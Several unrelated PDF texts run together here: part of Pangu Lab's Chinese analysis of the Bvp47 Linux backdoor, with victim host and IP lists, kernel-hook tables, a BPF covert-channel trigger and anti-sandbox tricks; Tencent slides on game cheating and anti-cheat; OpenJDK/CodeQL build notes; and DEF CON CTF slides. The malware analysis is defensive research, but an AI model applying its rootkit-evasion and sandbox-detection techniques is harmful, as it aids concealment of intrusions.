www2.din.or.jp www3.din.or.jp mail-gw.jbic.go.jp mail.interq.or.jp www.cfd.or.jp hakuba.janis.or.jp mx1.freemail.ne.jp pitepalt.stacken.kth.se snacks.stacken.kth.se ns.stacken.kth.se milko.stacken.kth.se xn--selma-lagerlf-tmb.stacken.kth.se xn--anna-ahlstrm-fjb.stacken.kth.se www.bygden.nu geosun1.unige.ch scsun25.unige.ch cmusun8.unige.ch dns2.net1.it 133.3.5.33 133.31.106.46 133.41.145.11 150.27.1.10 150.27.1.11 150.27.1.2 150.27.1.5 150.27.1.8 202.231.176.242 202.243.222.7 203.165.5.114 203.165.5.117 203.165.5.118 203.165.5.74 203.165.5.78 203.165.5.80 203.165.5.82 203.165.5.83 210.135.90.7 210.135.90.8 210.155.61.54 210.157.0.87 210.198.16.75 210.232.42.3 210.235.164.21 130.237.234.151 130.237.234.152 130.237.234.17 130.237.234.3 130.237.234.51 130.237.234.53 192.176.10.178 129.194.41.4 129.194.49.47 129.194.97.8 213.140.195.7 日本 日本 日本 日本 日本 日本 日本 日本 日本 日本 日本 日本 日本 日本 日本 日本 日本 日本 日本 日本 日本 日本 日本 日本 日本 瑞典 瑞典 瑞典 瑞典 瑞典 瑞典 瑞典 瑞士 瑞士 瑞士 塞浦路斯 日本京都大学 日本东京理科大学 日本 日本 日本 日本 日本 日本 日本SINET 日本东京威力科创 日本 日本 日本 日本 日本 日本 日本 日本 日本 日本 日本东京市KDDI通信公司 日本GMO 日本 日本KDDI 日本KDDI 瑞典 瑞典 瑞典 瑞典 瑞典 瑞典 瑞典 瑞士日内瓦大学 瑞士日内瓦大学 瑞士日内瓦大学 塞浦路斯 20 www.pangulab.cn 北京奇安盘古实验室科技有限公司 sparc.nour.net.sa 212.12.160.26 沙特阿拉伯 沙特阿拉伯 沙特阿拉伯 沙特阿拉伯 212.138.48.8 212.26.44.132 212.70.32.100 mail.imamu.edu.sa kacstserv.kacst.edu.sa mail.jccs.com.sa 沙特阿拉伯Nour Communication Co.Ltd-Nournet 沙特阿拉伯King Abdul Aziz City for Science and Technology 沙特阿拉伯King Abdul Aziz City for Science and Technology 沙特阿拉伯Jeraisy For Internet Services Co.Ltd sci.s-t.au.ac.th webmail.s-t.au.ac.th mail.howon.ac.kr nsce1.ji-net.com war.rkts.com.tr orion.platino.gov.ve ltv.com.ve msgstore2.pldtprv.net splash-atm.upc.es servidor2.upc.es dukas.upc.es moneo.upc.es sun.bq.ub.es oiz.sarenet.es anie.sarenet.es orhi.sarenet.es iconoce1.sarenet.es tologorri.grupocorreo.es zanburu.grupocorreo.es ganeran.sarenet.es colpisaweb.sarenet.es burgoa.sarenet.es mtrader2.grupocorreo.es mailgw.idom.es 168.120.9.1 168.120.9.2 203.146.64.14 203.147.62.229 195.142.144.125 161.196.215.67 200.75.112.26 192.168.120.3 147.83.2.116 147.83.2.3 147.83.2.62 147.83.2.91 161.116.154.1 192.148.167.17 192.148.167.2 192.148.167.5 194.30.0.16 194.30.32.109 194.30.32.113 194.30.32.177 194.30.32.229 194.30.32.242 194.30.32.29 194.30.33.29 泰国 泰国 泰国 泰国 土耳其 委内瑞拉 委内瑞拉 内部网 西班牙 西班牙 西班牙 西班牙 西班牙 西班牙 西班牙 西班牙 西班牙 西班牙 西班牙 西班牙 西班牙 西班牙 西班牙 西班牙 泰国易三仓大学 泰国易三仓大学 泰国 泰国 土耳其 委内瑞拉 委内瑞拉 内部网 西班牙加泰罗尼亚理工大学 西班牙加泰罗尼亚理工大学 西班牙加泰罗尼亚理工大学 西班牙加泰罗尼亚理工大学 西班牙巴塞罗那大学 西班牙 西班牙 西班牙 西班牙 西班牙 西班牙 西班牙 西班牙 西班牙 西班牙 西班牙 ns2.otenet.gr electra.otenet.gr dragon.unideb.hu laleh.itrc.ac.ir. mailhub.minaffet.gov.rw mail.irtemp.na.cnr.it mail.univaq.it 195.170.2.1 195.170.2.3 193.6.138.65 80.191.2.2 62.56.174.152 140.164.20.20 192.150.195.10 希腊 希腊 匈牙利 伊朗 以色列 意大利 意大利 希腊 希腊 匈牙利 伊朗 意大利国家研究委员会 意大利 21 www.pangulab.cn 北京奇安盘古实验室科技有限公司 ns.univaq.it matematica.univaq.it sparc20mc.ing.unirc.it giada.ing.unirc.it mailer.ing.unirc.it mailer.ing.unirc.it 192.167.50.12 192.167.50.14 192.167.50.2 192.167.50.202 意大利 意大利 意大利 意大利 192.150.195.20 192.150.195.38 意大利 意大利 意大利 意大利 bambero1.cs.tin.it gambero3.cs..tin.it mail.bhu.ac.in mtccsun.imtech.ernet.in axil.eureka.lk mu-me01-ns-ctm001.vsnl.net.in vsn1radius1.vsn1.net.in vsnl-navis.emc-sec.vsnl.net.in ns1.ias.ac.in mail.tropmet.res.in mail1.imtech.res.in nd11mx1-a-fixed.sancharnet.in 194.243.154.57 194.243.154.62 202.141.107.15 202.141.121.198 202.21.32.1 202.54.4.39 202.54.4.61 202.54.49.70 203.197.183.66 203.199.143.2 203.90.127.22 61.0.0.46 意大利 意大利 印度 印度 印度 印度 印度 印度 印度 印度 印度 印度 意大利 意大利 印度Banaras Hindu University 印度教育网 印度 印度 印度 印度 印度 印度 印度 ndl1pp1-a-fixed.sancharnet.in bgl1dr1-a-fixed.sancharnet.in bgl1pp1-a-fixed.sancharnet.in mum1mr1-a-fixed.sancharnet.in www.caramail.com newin.int.rtbf.be m16.kazibao.net webshared-admin.colt.net webshared-front2.colt.net webshared-front3.colt.net webshared-front4.colt.net petra.nic.gov.jo 61.0.0.71 61.1.128.17 61.1.128.71 61.1.64.45 195.68.99.20 212.35.107.2 213.41.77.50 213.41.78.10 213.41.78.12 213.41.78.13 213.41.78.14 193.188.71.4 印度 印度 印度 印度 英国 英国 英国 英国 英国 英国 英国 约旦 印度 印度 印度 印度 英国 英国 英国 英国 英国 英国 约旦 ns.cec.uchile.cl 200.9.97.3 159.226.*.* 159.226.*.* 159.226.*.* 智利 中国 中国 中国 智利 意大利Universita' degli Studi Mediterranea di Reggio Calabria 意大利Universita' degli Studi Mediterranea di Reggio Calabria 意大利Universita' degli Studi Mediterranea di Reggio Calabria 意大利Universita' degli Studi Mediterranea di Reggio Calabria 22 www.pangulab.cn 北京奇安盘古实验室科技有限公司 166.111.*.* 166.111.*.* 166.111.**.** 168.160.*.* 202.101.*.* 202.107.*.* 202.112.*.* 202.112.*.* 202.112.*.* 202.117.*.* 202.121.*.* 202.127.*.* 中国 中国 中国 中国 中国 中国 中国 中国 中国 中国 中国 中国 202.166.*.* 202.166.*.* 202.197.*.* 202.197.*.* 202.201.*.* 202.201.*.* 202.204.*.* 202.38.*.* 202.84.*.* 202.96.*.* 202.96.*.* 202.98.*.* 中国 中国 中国 中国 中国 中国 中国 中国 中国 中国 中国 中国 202.99.*.* 210.72.*.* 210.77.*.* 210.83.*.* 211.137.*.* 211.138.*.* 211.82.*.* 218.104.*.* 202.94.*.* 218.107.*.* 218.245.*.* 218.247.*.* 中国 中国 中国 中国 中国 中国 中国 中国 中国 中国 中国 中国 23 www.pangulab.cn 北京奇安盘古实验室科技有限公司 mars.ee.nctu.tw cad-server1.ee.nctu.edu.tw 218.29.*.* 218.29.*.* 222.22.*.* 61.151.*.* 202.175.*.* 202.175.*.* 202.175.*.* 202.175.*.* 202.175.*.* 202.175.*.* 140.113.212.13 140.113.212.150 中国 中国 中国 中国 中国澳门特别行政区 中国澳门特别行政区 中国澳门特别行政区 中国澳门特别行政区 中国澳门特别行政区 中国澳门特别行政区 中国台湾 中国台湾 台湾省新竹市国立交通大学 台湾省新竹市国立交通大学 expos.ee.nctu.edu.tw twins.ee.nctu.edu.tw soldier.ee.nctu.edu.tw royals.ee.nctu.edu.tw mail.et.ntust.edu.tw mail.dyu.edu.tw mail.ncue.edu.tw aries.ficnet.net ns.chining.com.tw mail.tccn.edu.tw mail.must.edu.tw ultra10.nanya.edu.tw 140.113.212.20 140.113.212.26 140.113.212.31 140.113.212.9 140.118.2.53 163.23.1.73 163.23.225.100 202.145.137.19 202.39.26.50 203.64.35.108 203.68.220.40 203.68.40.6 中国台湾 中国台湾 中国台湾 中国台湾 中国台湾 中国台湾 中国台湾 中国台湾 中国台湾 中国台湾 中国台湾 中国台湾 台湾省新竹市国立交通大学 台湾省新竹市国立交通大学 台湾省新竹市国立交通大学 台湾省新竹市国立交通大学 台湾省台北市国立台湾科技大学 台湾省大叶大学 台湾省彰化师范大学 台湾省台湾固网 台湾省中华电信 台湾省花莲县慈济科技大学 台湾省 台湾省 mail.hccc.gov.tw 210.241.6.97 中国台湾 台湾省 24 www.pangulab.cn 北京奇安盘古实验室科技有限公司 原始文件列表: 25 www.pangulab.cn 北京奇安盘古实验室科技有限公司 在2015年事件响应过程中,根据实际的流量记录,受害列表中的日本地区210.135.90.0/24网段 存在作为C2服务器的行为,即攻击者会利用受害主机作为跳板对目标进行攻击: 众多针对中国的攻击线索中,最早的一条可以追溯到2002年: 利用受害主机作为跳板攻击目标 26 www.pangulab.cn 北京奇安盘古实验室科技有限公司 Bvp47 的实现包含了复杂的代码、区段加解密,Linux多版本平台适配,丰富的 rootkit 反追踪技 巧,最重要的是集成了高级隐蔽信道中所使用的BPF引擎高级利用技巧,以及繁琐的通信加解密流程。 本章节将就以上方面进行分析。 Bvp47 在重要动作执行流程方面主要分为两个关键环节, “程序初始化运行”和“隐蔽信道通信” 环节。 在“程序初始化运行”时主要有如下几个关键点, 1. 分 Linux 用户态和内核态操作,用户态进程会保持存活 ; 2. 进行 Bvp 引擎初始化 ; 3. 一系列的环境检测,环境信息不匹配样本就自动清除; 4. 一系列的 payload 区块解密 ; 5. 篡改内核 devmem 限制,允许用户态直接读写内核空间等内核技巧; 6. 装载非标准的 lkm 模块文件 ; 7. Hook 系统函数进行自身进程,文件,网络隐藏,自删除检测在“隐蔽信道通信”环节大致如下: a) Bvp47 接收到服务端发过来的SYN包后,会进入BPF过滤规则(见下文)进行数据包格式匹配; b) 只有满足操作 1 中的 BPF 规则后,会进行 RSA+RC-X 等加密算法的解密; c) 根据解密后的指令进行对应命令操作; 主要行为 6. Bvp47后门技术详解 27 www.pangulab.cn 北京奇安盘古实验室科技有限公司 Bvp47 的整个文件采用后门常用打包方式,即将后门功能模块进行压缩、拼装后置文件末尾,整 体以附加数据的形式存在。附加数据通过内置在程序内部的 loader 功能模块进行加载,主要完成以下 几个步骤: 读取 校验 解压 解密 装载 其中 payload 主要数据结构如下: 具体对应到样本详细内容如下: Payload 28 www.pangulab.cn 北京奇安盘古实验室科技有限公司 利用 010Editor 解析效果如下: 29 www.pangulab.cn 北京奇安盘古实验室科技有限公司 在解密方面 payload 的 loader 会, 1. 调用四个不同的解密函数(底层解密方式一样)来完成各个分片解压操作; 2. 完成操作 1 后,loader 会继续调用 Xor 0x47 算法(见其它章节)完成分片的解密操作; 具体的几个解密函数如下: 30 www.pangulab.cn 北京奇安盘古实验室科技有限公司 Bvp47 样本中大量对字符串,区块进行加密,防止暴露的可能性,而这些加密技巧主要基于异或 方式的变幻,这些细微变化会给追踪者造成不小的分析成本。 根据分析主要有 8 种变幻: 其中 0xa8a16d65_xor 算法如下: 字符串加解密 31 www.pangulab.cn 北京奇安盘古实验室科技有限公司 Bvp47 的 payload 中的部分代码分片模块中的导出函数普遍使用“数字名称”的形式对外提供接 口服务,这样的混淆对于追踪者在分析导出接口的功能分析形成了不小的障碍: 函数名混淆技巧 32 www.pangulab.cn 北京奇安盘古实验室科技有限公司 Bvp47 为了提高自身的通用性而大量使用动态计算 Linux 内核数据和函数地址,与此同时为了从 根本上兼容大量 Linux 内核数据和 payload 中各个独立开发出来的区段,他们研发了 Bvp 引擎企图从 编译和运行时层面来动态重定向和适配 Bvp47 所需的系统函数和数据结构。 Bvp 引擎适配了大量的函数和数据结构: Bvp 引擎 33 www.pangulab.cn 北京奇安盘古实验室科技有限公司 34 www.pangulab.cn 北京奇安盘古实验室科技有限公司 35 www.pangulab.cn 北京奇安盘古实验室科技有限公司 在 0x0b 和 0x10 中都各自存在一种用来记录和描述 Bvp 引擎信息的结构体: 在 0x0b 中解析 Bvp 引擎格式的效果图: 上图中的MD5值的计算方式, 即读取/proc/version内容,直接计算MD5 值作为操作系统内核的 唯一标识,不同版本的内核会对应相应的MD5和结构值。 为了验证该 MD5 值的准确性,收集一系列的内核版本如下: 36 www.pangulab.cn 北京奇安盘古实验室科技有限公司 37 www.pangulab.cn 北京奇安盘古实验室科技有限公司 系统 Hook 并对内核信息,即/proc/version 内容进行 MD5 计算(图中上半部标记了数字版本号的 MD5 值 都可以在 Bvp47 中找到,都是受影响的系统版本): Bvp47 主要 Hook 了 Linux 操作系统内核中近 70 多处流程函数,主要用来实现网络、进程、文 件隐藏,和 SeLinux 绕过等,具体列表如下: 被 Hook 函数 Hook 位置 Hook 技术方式 devmem_is_allowed page_is_ram sys_swapon si_swapinfo do_fork release_task dev_ioctl d_alloc 函数中间 函数中间 函数开头 函数开头 函数中间 函数开头 函数开头 函数开头 inline hook inline hook inline hook inline hook inline hook inline hook inline hook inline hook vfs_readdir sys_unlink sys_rmdir vfs_getattr vfs_getattr64 tcp4_seq_show listening_get_next established_get_next udp4_seq_show raw_seq_show 函数开头 函数中间 函数中间 函数开头 函数开头 函数开头 函数开头 函数开头 函数开头 函数开头 inline hook inline hook inline hook inline hook inline hook inline hook inline hook inline hook inline hook inline hook 38 www.pangulab.cn 北京奇安盘古实验室科技有限公司 packet_seq_show unix_seq_show Selinux_xxx_ get_raw_sock get_raw_sock sock_init_data tcp_time_wait unix_accept read_mem __inode_dir_notify avc_has_perm do_mount proc_pid_readdir kill_something_info sys_kill sys_rt_sigqueueinfo sys_tkill sys_tgkill sys_getpriority sys_setpriority sys_getpgid sys_getsid sys_capget setscheduler sys_umount do_acct_process 函数开头 函数开头 函数开头 函数开头 函数开头 函数开头 函数中间 函数开头 函数开头 函数开头 函数中间 函数开头 函数开头 函数中间 函数开头 函数开头 函数开头 函数开头 函数开头 函数开头 函数开头 函数开头 函数开头 函数开头 函数开头 函数开头 inline hook inline hook inline hook inline hook inline hook inline hook inline hook inline hook inline hook inline hook inline hook inline hook inline hook inline hook inline hook inline hook inline hook inline hook inline hook inline hook inline hook inline hook inline hook inline hook sys_sched_getscheduler sys_sched_getparam sched_getaffinity sched_setaffinity 函数中间 函数中间 函数中间 函数中间 inline hook inline hook inline hook inline hook inline hook inline hook proc_root_lookup 函数开头 inline hook 39 www.pangulab.cn 北京奇安盘古实验室科技有限公司 例 1: __d_lookup 函数具体的 hook 前后对比: sys_sched_rr_get_interval sys_ptrace sys_wait4 sys_waitid do_execve sys_close sys_open sys_read sys_write sys_dup sys_dup2 sys_accept 函数中间 函数开头 函数开头 函数开头 函数开头 函数开头 函数开头 函数开头 函数开头 函数开头 函数开头 函数开头 inline hook inline hook inline hook inline hook inline hook inline hook inline hook inline hook inline hook inline hook inline hook inline hook sys_bind sys_connect sys_sendto sys_sendmsg sys_recvfrom sys_recvmsg 函数开头 函数开头 函数中间 函数中间 函数中间 函数中间 inline hook inline hook inline hook inline hook inline hook inline hook 40 www.pangulab.cn 北京奇安盘古实验室科技有限公司 Bvp47 在 Hook 掉__d_lookup 函数后主要用于自身文件的隐藏和触发自删除 流 程 , 利 用 hook __d_lookup 来 校 验 上 层 应 用 是 否 试 图 访 问 /usr/bin/modload 文件,具体 handle 函数前面部 分如下: 在 handler 函数大量使用即时查找处理函数的技巧: 41 www.pangulab.cn 北京奇安盘古实验室科技有限公司 例 2: devmem_is_allowed 函数具体的 hook 前后对比: Hook devmem_is_allowed 后,用户态的 Bvp47 就可以任意读写内核空间了。 42 www.pangulab.cn 北京奇安盘古实验室科技有限公司 例 3: avc_has_perm 函数具体的 hook 前后对比: Bvp47 通过内部 inline hook avc_has_perm 后,就可以直接绕过 SeLinux的限制进行任意操作。 43 www.pangulab.cn 北京奇安盘古实验室科技有限公司 例 4: sys_read 函数具体的 hook 前后对比: Bvp47 会在 sys_read 中对读取操作进行过滤。 44 www.pangulab.cn 北京奇安盘古实验室科技有限公司 内核模块防检测 BPF 隐蔽信道 Bvp47 会通过修改内核模块 elf 文件的前四个字节,达到躲避内存搜索 elf 的目的,并通过自己的 lkm loader 进行加载。 BPF(Berkeley Packet Filter)是 Linux 内核中用来过滤自定义格式数据包的内核引擎,它可以提 供一套规定的语言供用户层的普通进程来过滤指定数据包。 Bvp47 直接利用 BPF 的这个特性作为隐蔽信道环节中在 Linux 内核层面的高级技巧,避免直接的 内核网络协议栈 hook 被追踪者检测出来。 具体的 BPF 汇编如下,只有满足这部分规则的 SYN 数据包(还包括UDP包)才会进入下一个加解密 流程进行处理: 45 www.pangulab.cn 北京奇安盘古实验室科技有限公司 46 www.pangulab.cn 北京奇安盘古实验室科技有限公司 常见BPF Trigger数据包为TCP包,并且TCP包携带数据总大小为0x88字节,Trigger Packege字段 大小结构如图: 字段结构图: 红色部分,数据⻓度0x0088异或0xE6CF; 绿色部分,解密后数据的实际长度; 深蓝部分,紫色Random与0x9D6A异或; 47 www.pangulab.cn 北京奇安盘古实验室科技有限公司 信道加密与解密 Bvp47 在隐蔽信道和后续的反弹连接动作中都使用了非对称算法 RSA 和RC-X 算法作为通信链路 安全的保障,中间计算会涉及到收发包的时间,长度等因子影响,其中部分密钥对如下: 48 www.pangulab.cn 北京奇安盘古实验室科技有限公司 在后续接到反弹命令后,Bvp47 会进入接收反弹包解密流程: 49 www.pangulab.cn 北京奇安盘古实验室科技有限公司 运行环境检测 Bvp47 为了更好的保护自身,作了一系列的运行环境的检测,防止样本被获取后直接被追踪者进 行动态分析。在 payload 第一个区块解密后会得到 32 位无符号整形值,该值主要用来作 checksum 来对运行环境进行校验。具体校验方法如下: 1. Loader 执行 statvsf(“/”, &stats); 2. 获取操作 1 执行结果中的 blocks 和 files; 3. 进行 blocks ^ files == checksum ? 结果比较,满足相等则判断为当前环境符合运行; 50 www.pangulab.cn 北京奇安盘古实验室科技有限公司 其它技术特点 不受信任的程序往往由沙箱运行并监测行为。程序运行时往往并没有真正落地,也就时说此时的 argv[0]所指路径并不是程序的真正路径。程序通过syscall调用lstat,以求绕过SandboxRing3的 Hook,查看argv[0]所指的文件是否真实存在。 1. 利用setrlimit api来设置core dump文件(内核转存文件)大小0,防止样本提取; 2. argv[0]与lstat结合的反沙箱技术; mkstmp时用来在Linux /tmp目录下生成临时文件的Api。(猜测时由于当时沙箱并没有对这个Api 提供支持,或者沙箱策略禁用了mkstmp。因此可以用mkstmp调用是否成功来识别沙箱)。 3. mkstmp 反沙箱技术 沙箱中的/boot目录下的文件往往只有2个一个文件/boot/.另一个/boot/..。所以只要打开/boot目 录统计/boot目录下的文件个数,往往可以识别沙箱。(Windows上会通过TEMP目录下的临时文 件数)。 4. /boot 反沙箱技术 任何沙箱只会为每个样本分配有限的时间。因此调用大量合法Api,以达到延迟执行,用以躲过沙 箱的起爆分析。 5. Aip Flooting 与 延迟执行 51 www.pangulab.cn 北京奇安盘古实验室科技有限公司 7. 总结 作为一个高级攻击工具, Bvp47 让世人见识到了它的复杂性,针对性和前瞻性,让人震惊的是在 分析之后认识到它存在的时间可能已经长达十几年之久。通过 The Shadow Brokers Leaks和NSA ANT catalog渠道了解到的信息,它背后的工程基本涉及*nix全平台,它所应用的高级 SYNKnock 隐 蔽信道技术从Cisco 平台、Solaris、AIX、SUN,再到 Windows 平台都可能涉及。 到底是什么样的力量在驱动着它的发展?或许可以从多个受害单位人得到部分得答案,这些单位 普遍来自于国家要害部门。 盘古实验室作为一支坚持高精尖技术驱动的网络安全团队,很清醒的认识到世界超一流 APT 组织 在攻击技术上的强大能力,唯有保持在信息安全攻防前沿技术的积极探索和重要事件的持续跟进,与 全球产业界协同防御,才有可能在未来的网络对抗中保护用户。 52 www.pangulab.cn 北京奇安盘古实验室科技有限公司 8. 参考资源 1. The Shadow Brokers: don’t forget your base https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1 4. FOXACID-Server-SOP-Redacted.pdf https://edwardsnowden.com/docs/doc/FOXACID-Server-SOP-Redacted.pdf 2. The Shadow Brokers: x0rz-EQGRP https://github.com/x0rz/EQGRP/ 3. NSA ANT catalog – Wikipedia https://en.wikipedia.org/wiki/NSA_ANT_catalog 53 www.pangulab.cn 北京奇安盘古实验室科技有限公司 北京奇安盘古实验室科技有限公司是在知名安全团队盘古实验室基础上成立,专注于高级安全研 究和攻防对抗研究,在操作系统、虚拟化、物联网和应用安全研究上拥有扎实的研究能力和经验。 关于盘古实验室
pdf
TenProtect Conficential, Copyright @Tencent, 2019 游戏安全的攻防艺术 [email protected] 2019.02 TenProtect Conficential, Copyright @Tencent, 2019 个人简介 • 2013 至今,腾讯游戏业务安全部技术专家 • 2005-2012 ,趋势科技架构师 • 2005-2008, 开发和设计 PE 病毒沙箱 • 2008-2012, 开发和设计脚本漏洞分析引擎 • 2013 to now, 开发和设计游戏安全通用方案 • 2011.8 Defcon 讲演 “ Chinese phishing at Defcon19”, Las Vegas TenProtect Conficential, Copyright @Tencent, 2019 1. 外挂是什么 TenProtect Conficential, Copyright @Tencent, 2019 多少秒扫雷能够完成 1s 1s TenProtect Conficential, Copyright @Tencent, 2019 CrossFire 透视外挂 TenProtect Conficential, Copyright @Tencent, 2019 注 : 为了适应手游屏幕特点,手游上的外挂增加了射线 CrossFire 手游透视外挂 TenProtect Conficential, Copyright @Tencent, 2019 外挂的发展史 • 单机游戏, CheatEngine/FPE • 网络游戏 – 脱机挂 (WPE/WireShark) – 加速 / 倍攻 ( 数值异常 ) – 透视 / 自瞄 (Hook, 驱动 ) – 炸房 / 强登 • 打金工作室 / 代充 / 代练 • 手游模拟器 TenProtect Conficential, Copyright @Tencent, 2019 目前中国的外挂行业运作模式 TenProtect Conficential, Copyright @Tencent, 2019 中国网游作弊用户分布 • 越热门的游戏作弊越多 • 一些作弊软件卖的很贵 • 绝大作弊者都是新进玩家 • 60% 作弊发生在网吧 • 由于 PUBG 的影响, fps 作弊 现在非常流行 TenProtect Conficential, Copyright @Tencent, 2019 FPS 游戏作弊的爆发 • PUBG • 在 2108 年,超过 2700 款外挂被监控到 • 高峰期每天超过 100 款外挂进行更新 • FPS • 2018 年大约有 60 款以上的 FPS 生存游戏 • 所有的游戏都发现有外挂的存在 • APEX • 自 02-05 发布以来, 72 小时超过 1000 万玩家 • 已经发现超过 60 外挂在售卖 TenProtect Conficential, Copyright @Tencent, 2019 月入宝马不是梦 TenProtect Conficential, Copyright @Tencent, 2019 2. 外挂技术原理的讨论 TenProtect Conficential, Copyright @Tencent, 2019 安全领域的大讨论 • 软件漏洞 – 游戏 bug ,复制金币 – 客户端逻辑没有服务器验证 – 盗版问题 • 网络安全 – 报文篡改 – DDOS 攻击 • 服务器、数据安全 – 服务器入侵 – SQL 注入 / 回档 TenProtect Conficential, Copyright @Tencent, 2019 暗黑 3 漏洞 - 金币复制 TenProtect Conficential, Copyright @Tencent, 2019 内存修改型 • 游戏对象属性 – 血量,攻击力,怪物等等 • 修改或调用游戏逻辑 – 碰撞检测,自动瞄准 • 游戏资源文件 – 手游 / 弱联网 – 本地效果 TenProtect Conficential, Copyright @Tencent, 2019 LOL 改模型 TenProtect Conficential, Copyright @Tencent, 2019 堡垒之夜 / 人物透视 TenProtect Conficential, Copyright @Tencent, 2019 脱机挂 / 协议模拟 • 端游 – UnReal Engine( 开源 ) – 外挂工作室 • 页游 – Fiddle • 手游 – 离线 PUBG Radar show player position at mobile though proxy hijack TenProtect Conficential, Copyright @Tencent, 2019 针对腾讯游戏的 DDOS • LOL: – 当对局要输时 DDOS 导致服务端崩 溃 • QQCart: – 海量数据包导致安全包解析失败 • 灰色产业 : – 中小厂商相互攻击 TenProtect Conficential, Copyright @Tencent, 2019 模拟按键 • 技术点 – SendMessage/SendInput/KdbClass – 图像识别 – 简单的状态机 / 深度学习 AI • 用途 – 自动瞄准 / 自动开枪 – 挂机脚本 LOL Script TenProtect Conficential, Copyright @Tencent, 2019 同步器硬件 dnf 工作室 注 : 可以在淘宝上买到 TenProtect Conficential, Copyright @Tencent, 2019 3. 游戏保护与安全对抗 TenProtect Conficential, Copyright @Tencent, 2019 游戏安全的特殊性 • 玩家 – 要求打击 – 侥幸心理 / 协助外挂 • 游戏开发运营 – KPI 考核,活跃和营收 • 工作室 – 靠量取胜 TenProtect Conficential, Copyright @Tencent, 2019 外挂对抗之产品侧 • 举报 – 视频举报 – 恶意挂机 • 处罚手段 – 封号 / 封禁机器 – 踢人 – 限制收益 – 禁闭、禁言 TenProtect Conficential, Copyright @Tencent, 2019 外挂对抗之技术侧 • 通用检测 – 基础保护 – 样本 – 举例 : EAC( Easy Anti-Cheat), BattleEye (at PUBG) • 行为检测 – 收益 – 伤害 – 坐标 TenProtect Conficential, Copyright @Tencent, 2019 基础保护 • 反调试 / 加壳 / 代码混淆 – VMP • 完整性检测 • 驱动 – 基于 VT 的保护(腾讯) TenProtect Conficential, Copyright @Tencent, 2019 基于样本的保护 • 样本收集渠道 – 量少 • 分析系统的容量 – 依赖人工 • 样本自身的加密变形 – 特征难于提取 • 外网特征运营的安全性 – 风险不可控 可疑样本 收集 外挂识别 特征提取 白名单 测试 对抗监控 特征发布 TenProtect Conficential, Copyright @Tencent, 2019 基于行为的保护 • 游戏数据 – 通关时间 / 人物属性 – 坐标 • 数据挖掘 – 修改点,样本 – 历史战绩 TenProtect Conficential, Copyright @Tencent, 2019 LOL 工作室 • LOL 坐标 • CNN – 160*160, ResNet • LSTM 坐标序列 TenProtect Conficential, Copyright @Tencent, 2019 图像识别检测透视 TenProtect Conficential, Copyright @Tencent, 2019? gslab.qq.com
pdf
CodeQLOpenJDK CodeQL CodeQL Extractor Extractor src.zip CodeQL LGTMCodeQLQL LGTMGitHubWorkflow LGTMOpenJDKDatabase openjdk/jdk8utag ubuntu 16.04 Boot_JDKjdk 1.7.0_80 Target_OpenJDK:OpenJDK 8u73 Boot_JDK tar.gz Boot_JDK jdk-7u80-linux-x64.tar.gz Toolchain # mkdir /usr/lib/jvm tar -zxvf jdk-7u80-linux-x64.gz -C /usr/lib/jvm # vim ~/.bashrc export JAVA_HOME=/usr/lib/jvm/jdk1.7.0_80 export JRE_HOME=${JAVA_HOME}/jre export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib export PATH=${JAVA_HOME}/bin:$PATH # source /.bashrc # JDK update-alternatives --install /usr/bin/java java /usr/lib/jvm/jdk1.7.0_80/bin/java 300 update-alternatives --install /usr/bin/javac javac /usr/lib/jvm/jdk1.7.0_80/bin/javac 300 update-alternatives --install /usr/bin/jar jar /usr/lib/jvm/jdk1.7.0_80/bin/jar 300 update-alternatives --install /usr/bin/javah javah /usr/lib/jvm/jdk1.7.0_80/bin/javah 300 update-alternatives --install /usr/bin/javap javap /usr/lib/jvm/jdk1.7.0_80/bin/javap 300 update-alternatives --config java # java -version apt-get update apt-get upgrade apt-get install -y build-essential gdb cmake cpio file unzip zip wget ccache cmake3.81 OpenJDK & CodeQL apt-get install -y --no-install-recommends libfontconfig1-dev libfreetype6-dev libcups2-dev libx11-dev libxext-dev libxrender-dev libxrandr-dev libxtst-dev libxt-dev libasound2-dev libffi-dev autoconf cd ~/OpenJDK8u73 wget http://ftp.gnu.org/gnu/make/make-3.81.tar.gz && tar -zxvf make-3.81.tar.gz && cd make-3.81 && bash configure -prefix=/usr && make && make install # cmake cmake -v chmod 777 configure ./configure --with-target-bits=64 --with-boot-jdk=/usr/lib/jvm/jdk1.7.0_80 --with- debug-level=slowdebug --enable-debug-symbols ZIP_DEBUGINFO_FILES=0 make all DISABLE_HOTSPOT_OS_VERSION_CHECK=OK ZIP_DEBUGINFO_FILES=0 cd build/linux-x86_64-normal-server-slowdebug/jdk/bin OpenJDKbuildCodeQL CodeQL DatabaseVSCode codeql database create Openjdk8u73_db --language="java" --command="make all DISABLE_HOTSPOT_OS_VERSION_CHECK=OK ZIP_DEBUGINFO_FILES=0" 1. MacOSXcodeclangToolchainLinux 2. LinuxCodeQL CLICodeQL Lib, 3. make 4. Boot_JDKTarget_JDKJDK 5. JarCodeQL openjdk OpenJDK8CodeQL openjdk/jdk8u Build OpenJDK fnmsd/OpenJDK8-BuildEnv-Docker
pdf
Lessons Learned from Five Years of Building Capture the Flag Vito Genovese DEF CON Beijing 2018 Hello! Capture the Flag "CTF" DEF CON 1996 first game 2000 formalized how it was run 2002-2004 ghettohackers 2005-2008 Kenshoto 2009-2012 ddtek 2013-2017 Legitimate Business Syndicate 2018-? Order of the Overflow Two Distinct Formats Jeopardy Style Scoreboard Jeopardy Style Prompt Jeopardy Style Solving Jeopardy Style Points Jeopardy Style DEF CON CTF Quals Photo: robbje @ Eat Speep Pwn Repeat asby From SHA2017 CTF asby Get file asby Identify Windows STDIO .exe asby Determine goal asby Guess the correct input asby • Reverse engineer a Windows binary • Guess each character by hand • Write a program asby Write program asby Get solution asby Get points Jeopardy Style 1. Get challenge 2. Solve it 3. Get points Attack-Defense •Reverse engineer •Patch flaws •Exploit others •Don't break it ⚑ Attack-Defense PPP atmail scorebot Shellphish Attack-Defense PPP atmail scorebot Shellphish deposit ⚑ Shellphish Attack-Defense PPP atmail scorebot steal ⚑ Shellphish Attack-Defense PPP atmail scorebot redeem⚑ Shellphish Attack-Defense PPP atmail scorebot availability okay availability check Shellphish Attack-Defense PPP atmail scorebot failed availability ☠ ☠can’t steal Attack-Defense DEF CON CTF Finals Rubix Rubix Rubix 54 Rubik's cube instructions …becomes shellcode Lab RATs on Rubix Lab RATs posted a write-up: https://blog.rpis.ec/2017/08/defcon- finals-2017-introduction-rubix.html Lab RATs on Rubix 1. write 9-bit to 8-bit netcat 2. analyze 9-bit strings in libc 3. symbolize libc 4. figure out how main() gets called Lab RATs on Rubix Now the actual analysis 